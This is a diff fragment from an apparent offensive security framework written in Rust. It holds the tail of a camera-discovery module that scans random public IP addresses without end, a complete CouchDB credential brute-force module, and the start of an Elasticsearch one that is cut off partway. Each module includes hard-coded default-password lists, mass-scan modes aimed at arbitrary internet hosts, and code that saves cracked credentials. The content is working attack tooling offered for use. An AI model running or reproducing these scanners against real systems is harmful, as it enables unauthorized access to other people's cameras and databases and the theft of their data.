let total = scanned.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs().max(1);
|
||||
let rate = total / elapsed;
|
||||
crate::mprintln!(
|
||||
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
|
||||
total,
|
||||
found.load(Ordering::Relaxed),
|
||||
skipped.load(Ordering::Relaxed),
|
||||
rate
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Infinite parallel scan loop
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let outfile = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let target = ip.to_string();
|
||||
|
||||
// Parallel port scan
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
scanned.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
if open_ports.is_empty() {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
// Service filter: skip if only SSH/Telnet/RDP are open
|
||||
if is_only_ignored_services(&open_ports) {
|
||||
skipped.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
|
||||
target,
|
||||
open_ports.len(),
|
||||
open_ports
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
|
||||
let client = match create_client() {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
crate::meprintln!("Failed to create client: {}", e);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Camera detection & fingerprinting
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// Credential testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Stream detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Record discovered camera
|
||||
if is_camera || !rtsp_ports.is_empty() {
|
||||
found.fetch_add(1, Ordering::Relaxed);
|
||||
// Save to output file
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(outfile.as_str())
|
||||
{
|
||||
use std::io::Write;
|
||||
let _ = writeln!(
|
||||
file,
|
||||
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
|
||||
target, open_ports, rtsp_ports
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CamXploit — Camera Discovery & Credential Scanner".to_string(),
|
||||
description: "Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Great,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod camxploit;
|
||||
@@ -0,0 +1,578 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_COUCHDB_PORT: u16 = 5984;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
("admin", "123456"),
|
||||
("couchdb", "couchdb"),
|
||||
("admin", "admin123"),
|
||||
("root", "password"),
|
||||
("root", ""),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CouchDB Brute Force".to_string(),
|
||||
description: "Brute-force CouchDB authentication via session cookie and HTTP Basic Auth. \
|
||||
Tests credentials against the _session endpoint and _all_dbs. Supports default \
|
||||
credential testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ CouchDB Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Session & Basic Auth Credential Testing (port 5984) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "CouchDB",
|
||||
default_port: 5984,
|
||||
state_file: "couchdb_hose_state.log",
|
||||
default_output: "couchdb_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
let client = mass_client.clone();
|
||||
async move {
|
||||
let client = &*client;
|
||||
|
||||
// Check if port responds with CouchDB welcome JSON
|
||||
let url = format!("http://{}:{}/", ip, port);
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("couchdb") && !body.contains("CouchDB") {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Port is open and running CouchDB — try default creds
|
||||
let creds = [
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
let session_url = format!("http://{}:{}/_session", ip, port);
|
||||
let payload = serde_json::json!({"name": user, "password": pass});
|
||||
let req = client
|
||||
.post(&session_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(payload.to_string());
|
||||
if let Ok(r) = req.send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.contains("\"ok\":true") || b.contains("\"ok\": true") {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"couchdb",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/couchdb_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if CouchDB is open (no auth required)
|
||||
let dbs_url = format!("http://{}:{}/_all_dbs", ip, port);
|
||||
if let Ok(r) = client.get(&dbs_url).send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.starts_with('[') {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{} CouchDB open (no auth required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"couchdb_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "couchdb",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/couchdb_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", ip, port);
|
||||
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "couchdb_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", connect_addr).cyan()
|
||||
);
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", t, p);
|
||||
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "couchdb",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/couchdb_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored CouchDB responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "couchdb_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# CouchDB Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt CouchDB login via session cookie authentication and Basic Auth fallback.
|
||||
///
|
||||
/// Primary method: POST to `/_session` with JSON `{"name":"user","password":"pass"}`.
|
||||
/// A 200 response containing `"ok":true` indicates success.
|
||||
///
|
||||
/// Fallback: GET `/_all_dbs` with HTTP Basic Auth to verify access.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — authentication succeeded
|
||||
/// - `Ok(false)` — credentials rejected (401)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_couchdb_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.cookie_store(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Primary: cookie-based session authentication
|
||||
let session_url = format!("{}/_session", base_url);
|
||||
let payload = format!(
|
||||
"{{\"name\":\"{}\",\"password\":\"{}\"}}",
|
||||
username.replace('\\', "\\\\").replace('"', "\\\""),
|
||||
password.replace('\\', "\\\\").replace('"', "\\\""),
|
||||
);
|
||||
|
||||
let session_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&session_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(payload)
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Request error: {}", err_str));
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = session_resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, session_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
// CouchDB returns {"ok":true, "name":"admin", "roles":["_admin"]} on success
|
||||
if body.contains("\"ok\":true") || body.contains("\"ok\": true") {
|
||||
return Ok(true);
|
||||
}
|
||||
// Got 200 but no ok:true — fall through to Basic Auth check
|
||||
}
|
||||
401 => return Ok(false),
|
||||
_ => {
|
||||
// Non-standard response — fall through to Basic Auth check
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: HTTP Basic Auth against _all_dbs
|
||||
let dbs_url = format!("{}/_all_dbs", base_url);
|
||||
let dbs_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.get(&dbs_url)
|
||||
.basic_auth(username, Some(password))
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Basic auth request error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout on Basic auth request")),
|
||||
};
|
||||
|
||||
let dbs_status = dbs_resp.status().as_u16();
|
||||
|
||||
match dbs_status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, dbs_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read _all_dbs response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading _all_dbs response")),
|
||||
};
|
||||
// _all_dbs returns a JSON array of database names
|
||||
if body.starts_with('[') {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
403 => Ok(false),
|
||||
_ => Err(anyhow!("Unexpected HTTP status: {}", dbs_status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,580 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_ES_PORT: u16 = 9200;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("elastic", "elastic"),
|
||||
("elastic", "changeme"),
|
||||
("admin", "admin"),
|
||||
("elastic", "password"),
|
||||
("kibana", "kibana"),
|
||||
("elastic", ""),
|
||||
("admin", "password"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("logstash_system", "logstash_system"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Elasticsearch Brute Force".to_string(),
|
||||
description: "Brute-force Elasticsearch HTTP Basic authentication. Tests credentials \
|
||||
against the cluster root endpoint and security API. Supports default credential \
|
||||
testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Elasticsearch Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ HTTP Basic Auth Credential Testing (port 9200) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
// Build client ONCE and share — avoids OOM from per-host client creation
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Elasticsearch",
|
||||
default_port: 9200,
|
||||
state_file: "elasticsearch_hose_state.log",
|
||||
default_output: "elasticsearch_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
let client = mass_client.clone();
|
||||
async move {
|
||||
let client = &*client;
|
||||
|
||||
// Check if port responds with Elasticsearch JSON
|
||||
let url = format!("http://{}:{}/", ip, port);
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("cluster_name") {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Port is open and running Elasticsearch — try default creds
|
||||
let creds = [
|
||||
("elastic", "elastic"),
|
||||
("elastic", "changeme"),
|
||||
("admin", "admin"),
|
||||
("elastic", "password"),
|
||||
("elastic", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
let auth_url = format!("http://{}:{}/_security/_authenticate", ip, port);
|
||||
let req = client.get(&auth_url).basic_auth(user, Some(pass));
|
||||
if let Ok(r) = req.send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"elasticsearch",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/elasticsearch_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If none of the creds worked but ES responded, it might be open (no auth)
|
||||
let check_url = format!("http://{}:{}/", ip, port);
|
||||
if let Ok(r) = client.get(&check_url).send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.contains("cluster_name") {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{} Elasticsearch open (no auth required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
